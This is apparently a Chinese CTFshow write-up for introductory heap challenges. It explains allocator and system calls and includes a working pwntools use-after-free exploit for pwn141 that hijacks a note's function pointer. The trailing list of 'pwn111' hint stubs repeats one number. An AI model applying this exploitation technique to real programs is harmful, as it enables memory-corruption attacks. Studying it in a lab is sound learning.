pwn135

Hint:为防止题目难度跨度太大,135-140为演示题目阶段,你可以轻松获取flag,但是希望你能一步步去调试,而不是仅仅去拿到flag。 如何申请堆?

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
menu();
ctfshow();
return 0;
}

跟进menu:

int menu()
{
puts("Choose a function to allocate heap memory:");
puts("1. malloc");
puts("2. calloc");
puts("3. realloc");
return printf("Enter your choice: ");
}

跟进ctfshow:

unsigned __int64 ctfshow()
{
int n4; // [rsp+4h] [rbp-1Ch] BYREF
size_t size; // [rsp+8h] [rbp-18h] BYREF
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
ptr = 0;
__isoc99_scanf("%d", &n4);
if ( n4 == 2 )
{
printf("Enter the size to allocate using calloc: ");
__isoc99_scanf("%lu", &size);
ptr = calloc(1u, size);
}
else if ( n4 > 2 )
{
if ( n4 != 3 )
{
if ( n4 == 4 )
{
printf("Here is you want: ");
system("cat /ctfshow_flag");
}
goto LABEL_12;
}
printf("Enter the size to allocate using realloc: ");
__isoc99_scanf("%lu", &size);
ptr = realloc(ptr, size);
}
else
{
if ( n4 != 1 )
{
LABEL_12:
puts("Invalid choice.");
return __readfsqword(0x28u) ^ v4;
}
printf("Enter the size to allocate using malloc: ");
__isoc99_scanf("%lu", &size);
ptr = malloc(size);
}
if ( ptr )
printf("Memory allocated at address: %p\n", ptr);
else
puts("Memory allocation failed.");
return __readfsqword(0x28u) ^ v4;
}

直接输4就好了

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Learn how to allocate heap !
* *************************************
Choose a function to allocate heap memory:
1. malloc
2. calloc
3. realloc
Enter your choice: 4
Here is you want: flag{just_test_my_process}
Invalid choice.

malloc函数:

void* malloc(size_t size);

作用:从堆内存中分配指定大小的内存块

参数size 是需要分配的字节数

返回值

  • 成功:指向已分配内存块的指针

  • 失败:返回 NULL

特点

  1. 内存不初始化,内容为脏数据

  2. 分配的内存块在堆上,需用 free 释放

  3. 内存块有额外开销(chunk header)

calloc函数:

void* calloc(size_t num, size_t size);

作用:分配并初始化内存块(每个字节都会初始化为0)

参数

  • num:需要分配的元素个数
  • size:每个元素的字节大小

返回值

  • 成功:指向零初始化内存的指针
  • 失败:返回 NULL

特点

  1. 结果相当于 malloc(num * size) + memset(0)

  2. 会检查 num * size 是否溢出,防止分配错误

  3. 常用于数组初始化

realloc函数:

void* realloc(void* ptr, size_t new_size);

作用:重新调整已分配内存的大小

参数

  • ptr:指向已分配内存的指针
    • 如果传入 NULL,等价于 malloc(new_size)
  • new_size:重新分配的字节数

返回值

  • 成功:返回调整后的指针(可能是新地址)

  • 失败:返回 NULL,原指针仍然有效

特点

  1. 新大小大于原块:可能迁移数据到新位置

  2. 新大小小于原块:可能释放多余部分

  3. new_size == 0:等价于 free(ptr),返回 NULL

pwn136

Hint:如何释放堆?

和上题一样看free函数

unsigned __int64 ctfshow()
{
int n2; // [rsp+Ch] [rbp-24h] BYREF
void *ptr; // [rsp+10h] [rbp-20h]
void *ptr_1; // [rsp+18h] [rbp-18h]
void *ptr_2; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
ptr_1 = 0;
ptr_2 = 0;
ptr = malloc(4u);
if ( ptr )
{
ptr_1 = calloc(1u, 4u);
if ( ptr_1 )
{
ptr_2 = realloc(0, 4u);
if ( ptr_2 )
{
__isoc99_scanf("%d", &n2);
if ( n2 == 2 )
{
free(ptr_1);
puts("ptr_calloc freed.");
return __readfsqword(0x28u) ^ v5;
}
if ( n2 > 2 )
{
if ( n2 == 3 )
{
free(ptr_2);
puts("ptr_realloc freed.");
return __readfsqword(0x28u) ^ v5;
}
if ( n2 == 4 )
{
printf("Here is you want: ");
system("cat /ctfshow_flag");
}
}
else if ( n2 == 1 )
{
free(ptr);
puts("ptr_malloc freed.");
return __readfsqword(0x28u) ^ v5;
}
puts("Invalid choice.");
return __readfsqword(0x28u) ^ v5;
}
puts("Memory allocation failed for ptr_realloc.");
free(ptr);
free(ptr_1);
}
else
{
puts("Memory allocation failed for ptr_calloc.");
free(ptr);
}
}
else
{
puts("Memory allocation failed for ptr_malloc.");
}
return __readfsqword(0x28u) ^ v5;
}

free函数:

void free(void *ptr);

作用:释放由 malloccallocrealloc 分配的堆内存,把这块内存归还给堆管理器(glibc 的 ptmalloc)

参数

  • ptr:需要释放的堆内存指针
    • 如果是 NULL,什么都不会发生(安全)

特点

  1. 释放后指针悬空

    • free 只释放内存,不会把传入的指针置为 NULL

    • 建议写法:

      free(p);
      p = NULL; // 防止悬空指针
  2. 重复释放(Double Free)是未定义行为

    • free 同一个指针两次可能导致程序崩溃,甚至被利用(典型 PWN 漏洞)。
  3. 释放未分配指针 / 非堆指针是错误的

    • 例如释放栈上的指针、静态区指针,会触发崩溃。
  4. realloc 的关系

    • realloc(ptr, 0) 的效果与 free(ptr) 相同。

在 glibc 堆管理中的意义:

  • free 不会立刻交还给操作系统(除非是大块通过 mmap 分配的内存)
  • 它会把 chunk 放入 tcache / fastbin / unsorted bin / large bin 等链表中,等待下次 malloc 重用
  • 这一点在 PWN 利用 中非常关键:
    • UAF(Use-After-Free):释放后继续用
    • Double Free:利用重复释放破坏链表结构
    • Fastbin Attack / Tcache Poisoning:伪造下一个分配地址,劫持程序执行流

pwn137

Hint:sbrk and brk example
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
sbrk_brk();
return 0;
}

跟进sbrk_brk:

int sbrk_brk()
{
__pid_t pid; // eax
void *v1; // rax
char *addr; // [rsp+0h] [rbp-10h]
void *v4; // [rsp+8h] [rbp-8h]

pid = getpid();
printf("sbrk example:%d\n", pid);
addr = (char *)sbrk(0);
printf("Program Break Location1:%p\n", addr);
getchar();
brk(addr + 4096);
v1 = sbrk(0);
printf("Program Break Location2:%p\n", v1);
getchar();
brk(addr);
v4 = sbrk(0);
printf("Program Break Location3:%p\n", v4);
getchar();
return system("cat /ctfshow_flag");
}

输入两次即可获得flag

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : sbrk and brk example !
* *************************************
sbrk example:36
Program Break Location1:0x6263b987f000
a
Program Break Location2:0x6263b9880000
Program Break Location3:0x6263b987f000
a
flag{just_test_my_process}

getpid():

pid_t getpid(void);

作用:获取当前进程的PID

返回值

返回值:

  • 成功:返回调用进程的 PID(通常是一个整数)[数据类型为 pid_t(通常是一个整数类型)]
  • 失败:不会失败

特点:

  • 常用于调试、日志、信号处理等
  • 如果一个进程 fork 出子进程,子进程有新的 PID

sbrk()函数:

void *sbrk(intptr_t increment);

作用

  • 获取或调整当前进程的 数据段(堆)的末尾地址(program break)

  • increment 表示要增加或减少的字节数

参数:

  • increment
    • 0:返回当前堆顶地址
    • 正数:扩展堆,返回原堆顶
    • 负数:收缩堆,返回原堆顶

返回值:

  • 成功:返回调用前的堆顶地址(当前堆的末尾)
  • 失败:返回 (void*) -1,并设置 errno

brk函数:

int brk(void *end_data_segment);

作用:设置进程的数据段(堆)的末尾地址

参数:

  • end_data_segment:新的堆顶地址

返回值

  • 成功:返回 0
  • 失败:返回 -1 并设置 errno

特点

  • 直接把堆顶设置到某个位置(比 sbrk 更直接)
  • 一般 malloc 内部会用 brk 来向操作系统申请或收缩堆

pwn138

Hint:Private anonymous mapping example
// local variable allocation has failed, the output may be wrong!
int __fastcall main(int argc, const char **argv, const char **envp)
{
__pid_t pid; // eax
void *addr; // [rsp+8h] [rbp-8h]

init(*(_QWORD *)&argc, argv, envp);
logo();
pid = getpid();
printf("Welcome to private anonymous mapping example::PID:%d\n", pid);
puts("Before mmap");
getchar();
addr = mmap(0, 0x21000u, 3, 34, -1, 0);
if ( addr == (void *)-1LL )
errExit("mmap");
puts("After mmap");
getchar();
if ( munmap(addr, 0x21000u) == -1 )
errExit("munmap");
puts("After munmap");
getchar();
system("cat /ctfshow_flag");
return 0;
}

输入两次即可拿到flag

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Private anonymous mapping example using mmap syscall !
* *************************************
Welcome to private anonymous mapping example::PID:42
Before mmap
a
After mmap
After munmap
a
flag{just_test_my_process}

mmap 函数:

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

作用mmap() 是一个 Linux 系统调用,用于在进程的虚拟地址空间中映射一段内存区域。映射区域可以来自文件,也可以是匿名内存(不依赖文件,直接向内核申请内存)。在现代 malloc 实现中,大块内存通常通过 mmap 分配

参数

  1. addr
    • 建议映射的起始地址,通常传 NULL,让内核自动选择。
  2. length
    • 映射区域的大小(字节数,向上取整到页大小)。
  3. prot
    • 保护权限(类似 mprotect):
      • PROT_READ → 可读
      • PROT_WRITE → 可写
      • PROT_EXEC → 可执行
      • PROT_NONE → 不可访问
  4. flags
    • 控制映射的方式:
      • MAP_PRIVATE → 私有映射(写时复制,修改不影响文件)
      • MAP_SHARED → 共享映射(修改会同步到文件)
      • MAP_ANONYMOUS → 匿名映射(不关联文件,只是分配内存)
      • MAP_FIXED → 强制使用指定的地址(危险)
  5. fd
    • 文件描述符,若是匿名映射则必须为 -1
  6. offset
    • 映射文件的起始偏移量,必须是页大小的整数倍。

返回值

  • 成功:返回指向映射区域的指针
  • 失败:返回 (void*) -1,并设置 errno

pwn139

Hint:多线程支持
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
flag_demo();
return 0;
}
void flag_demo()
{
__int64 size_1; // [rsp+0h] [rbp-20h]
FILE *stream; // [rsp+8h] [rbp-18h]
__int64 size; // [rsp+10h] [rbp-10h]
char *ptr; // [rsp+18h] [rbp-8h]

stream = fopen("/ctfshow_flag", "rb");
if ( stream )
{
fseek(stream, 0, 2);
size = ftell(stream);
fseek(stream, 0, 0);
puts("Allocate heap memory:");
sleep(3u);
ptr = (char *)malloc(size);
if ( ptr )
{
sleep(1u);
puts("Read ctfshow_flag");
sleep(3u);
if ( fread(ptr, 1u, size, stream) == size )
{
fclose(stream);
puts("Here is your flag:");
for ( size_1 = 0; size_1 < size; ++size_1 )
putchar(ptr[size_1]);
sleep(1u);
puts("free");
free(ptr);
}
else
{
perror("Failed to read file");
fclose(stream);
free(ptr);
}
}
else
{
perror("Memory allocation failed");
fclose(stream);
}
}
else
{
perror("Failed to open file");
}
}

直接运行就可

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Read flag demo !
* *************************************
Allocate heap memory:
Read ctfshow_flag
Here is your flag:
flag{just_test_my_process}
free

fseek()函数:

int fseek(FILE *stream, long offset, int whence);

作用:fseek() 用于 移动文件流的文件位置指针,从而改变下次读写的位置

参数:

  1. stream:已经打开的文件指针(FILE*
  2. offset:相对于 whence 的偏移量(字节数,可以是正数、负数或 0)
  3. whence
    基准位置,取值:
    • SEEK_SET:文件开头
    • SEEK_CUR:当前位置
    • SEEK_END:文件末尾

返回值:

  • 成功:返回 0
  • 失败:返回 -1,并设置 errno

特点:

  • 常与 ftell() 搭配,用来获取文件大小或保存当前位置
  • 只能在 二进制文件 上保证准确(文本文件可能因为换行符转换导致偏移不一致)
  • 类似低级系统调用里的 lseek(),不过 fseek() 作用在 标准 I/O 流

ftell函数:

long ftell(FILE *stream);

作用ftell() 用于获取当前文件指针的位置(以字节为单位)

参数:

  • stream:表示文件指针

返回值:

  • 返回当前文件指针的偏移量,从文件开头算起
  • 若出错,返回 -1L

fread函数:

size_t fread(void *ptr, size_t size, size_t count, FILE *stream);

作用fread() 是 C 标准库中的一个函数,用于批量读取文件数据,尤其适合二进制文件

参数

  • ptr:指向存储读取数据的内存区域的指针
  • size:每个数据项的字节数
  • count:要读取的数据项的数量
  • stream:指向目标文件流的指针

返回值:实际成功读取的数据项数量(size_t类型)

  • 若等于count:读取完整
  • 若小于count:可能是文件已到末尾(可通过feof判断),或发生错误(可通过ferror判断)

pwn140

Hint:多线程支持
int __fastcall main(int argc, const char **argv, const char **envp)
{
__pid_t pid; // eax
pthread_t newthread; // [rsp+10h] [rbp-20h] BYREF
void *thread_return; // [rsp+18h] [rbp-18h] BYREF
void *ptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
pid = getpid();
printf("Welcome to per thread arena example::%d\n", pid);
puts("Before malloc in main thread");
getchar();
ptr = malloc(0x3E8u);
puts("After malloc and before free in main thread");
getchar();
free(ptr);
puts("After free in main thread");
getchar();
if ( pthread_create(&newthread, 0, threadFunc, 0) )
{
puts("Thread creation error");
return -1;
}
else if ( pthread_join(newthread, &thread_return) )
{
puts("Thread join error");
return -1;
}
else
{
system("cat /ctfshow_flag");
return 0;
}
}

输入3次即可得到flag

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Per thread arena example. !
* *************************************
Welcome to per thread arena example::54
Before malloc in main thread
a
After malloc and before free in main thread
After free in main thread
a
Before malloc in thread 1
After malloc and before free in thread 1
a
After free in thread 1
flag{just_test_my_process}

pthread_create()函数:

int pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);

作用:用于创建一个新线程

参数

  • newthread:指向pthread_t类型变量的指针,用于存储新创建线程的唯一标识符(线程 ID)。后续操作(如等待线程结束)需通过该 ID 引用线程

  • attr:线程属性设置(如栈大小、调度策略等)。通常传NULL(或0),表示使用默认属性(大多数场景无需自定义)

  • start_routine:线程的入口函数(线程启动后执行的函数),必须符合固定原型:

    void* (*start_routine)(void*);  // 接收void*参数,返回void*

    函数执行完毕后,线程会终止。

  • arg:传递给start_routine函数的参数(类型为void*,可传递任意类型数据,需自行转换)。若无需参数,可传NULL(或0

返回值

  • 成功:返回0(新线程已创建并开始运行)
  • 失败:返回非0的错误码(不同错误对应不同值,可通过strerror()函数查看具体错误信息,如线程创建失败原因)

pthread_join()函数:

int pthread_join(pthread_t thread, void **retval);

作用pthread_join() 用于等待指定线程终止,并可以获取该线程的返回值

参数

  • thread:需要等待的子线程的标识符(由pthread_create()输出的newthread

  • retval:指向void*类型的指针,用于存储子线程的返回值(即线程入口函数start_routine的返回值)。若无需获取返回值,可传NULL

返回值

  • 成功:返回0(子线程已正常终止)
  • 失败:返回非0的错误码(如指定的线程不存在、线程已被分离等)

pwn141[过]

Hint:使用已释放的内存

checksec:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

32位开启Canary与NX保护

IDA查看main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int n4; // eax
char buf[4]; // [esp+0h] [ebp-10h] BYREF
unsigned int v5; // [esp+4h] [ebp-Ch]
int *p_argc; // [esp+8h] [ebp-8h]

p_argc = &argc;
v5 = __readgsdword(0x14u);
init();
logo();
while ( 1 )
{
menu();
read(0, buf, 4u);
n4 = atoi(buf);
if ( n4 == 4 )
exit(0);
if ( n4 > 4 )
{
LABEL_12:
puts("Invalid choice!");
}
else
{
switch ( n4 )
{
case 3:
print_note();
break;
case 1:
add_note();
break;
case 2:
del_note();
break;
default:
goto LABEL_12;
}
}
}
}

看⼀下菜单:

int menu()
{
puts("-------------------------");
puts(" CTFshowNote ");
puts("-------------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("-------------------------");
return printf("choice :");
}

程序应该主要有 3 个功能。之后程序会根据⽤⼾的输⼊执⾏相应的功能。

add_note():

unsigned int add_note()
{
int v0; // esi
int n4; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( n4 = 0; n4 <= 4; ++n4 )
{
if ( !*((_DWORD *)&notelist + n4) ) //寻找空的笔记位置
{
*((_DWORD *)&notelist + n4) = malloc(8u); //分配8字节的笔记结构体
if ( !*((_DWORD *)&notelist + n4) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)&notelist + n4) = print_note_content; //设置笔记的打印函数指针([0-3字节:函数指针][4-7字节:内容缓冲区指针])
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *((_DWORD *)&notelist + n4); //获取笔记结构体地址
*(_DWORD *)(v0 + 4) = malloc(size); //分配size字节的内容缓冲区,存在结构体的4-7字节
if ( !*(_DWORD *)(*((_DWORD *)&notelist + n4) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)&notelist + n4) + 4), size); //读取size字节到内容缓冲区
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full!");
}
return __readgsdword(0x14u) ^ v5;
}

最多可以添加 5 个 note。每个 note 有两个字段 put 与 content,其中 put 会被设置为⼀个函数,其函数会输出 content 具体的内容。

print_note():

unsigned int print_note()
{
int count; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
count = atoi(buf);
if ( count < 0 || count >= ::count )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_DWORD *)&notelist + count) ) //检查该索引的笔记是否存在(指针非空)
//调用笔记结构体中的打印函数指针,传入笔记结构体地址作为参数
(**((void (__cdecl ***)(_DWORD))&notelist + count))(*((_DWORD *)&notelist + count));
return __readgsdword(0x14u) ^ v3;
}

根据给定的索引来输出对应的note的内容。

del_note():

unsigned int del_note()
{
int count; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
count = atoi(buf);
if ( count < 0 || count >= ::count )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_DWORD *)&notelist + count) )
{
free(*(void **)(*((_DWORD *)&notelist + count) + 4));
free(*((void **)&notelist + count));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

根据给定的索引来释放对应的 note。但是值得注意的是,在删除的时候,只是单纯进⾏了 free,⽽没有设置为 NULL,那么显然,这⾥是存在 UAF(Use After Free,释放后使用)漏洞。

程序还存在后⻔函数use():

int use()
{
return system("cat /ctfshow_flag");
}

那么我们只需要修改 note 的 put 字段为use函数的地址,从⽽实现在执⾏ print note 的时候执⾏后⻔函数。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
use = elf.sym['use']

def add(size, content):
io.recvuntil(b"choice :")
io.sendline(b"1")
io.recvuntil(b":")
io.sendline(str(size).encode())
io.recvuntil(b":")
io.sendline(content)


def delete(idx):
io.recvuntil(b"choice :")
io.sendline(b"2")
io.recvuntil(b":")
io.sendline(str(idx).encode())


def show(idx):
io.recvuntil(b"choice :")
io.sendline(b"3")
io.recvuntil(b":")
io.sendline(str(idx).encode())

add(32, b"aaaa") #索引0:struct0(8字节) + content0(32字节)
add(32, b"bbbb") #索引1:struct1(8字节) + content1(32字节)

delete(0) #先free(content0),再free(struct0)
delete(1) #先free(content1),再free(struct1)
add(8, p32(use)) # 新笔记:size=8,内容是use函数的4字节地址(32位地址占4B)
show(0) #调用show(0),触发use函数执行
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 92
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] Switching to interactive mode
flag{just_test_my_process}
-------------------------
CTFshowNote
-------------------------
1. Add note
2. Delete note
3. Print note
4. Exit
-------------------------
choice :$

pwn111

Hint:堆块重叠

pwn111

Hint:先来试试简单的堆利用吧,远程环境:Ubuntu 16.04

pwn111

Hint:先来试试简单的堆利用吧,远程环境:Ubuntu 16.04

pwn111

Hint:glibc的一种分配规则

pwn111

Hint:为什么会产生UAF漏洞?

pwn111

Hint:fastbin_dup

pwn111

Hint:fastbin_dup_into_stack

pwn111

Hint: fastbin_dup_consolidate

pwn111

Hint:unsafe_unlink

pwn111

Hint:house_of_spirit

pwn111

Hint:poison_null_byte

pwn111

Hint:house_of_lore

pwn111

Hint:overlapping_chunks

pwn111

Hint:overlapping_chunks_2

pwn111

Hint:mmap_overlapping_chunks

pwn111

Hint:unsorted_bin_attack

pwn111

Hint:large_bin_attack

pwn111

Hint:Tcache_attack (友情提示:如果你现在基础还不太好,建议先往后做),远程环境:Ubuntu 18.04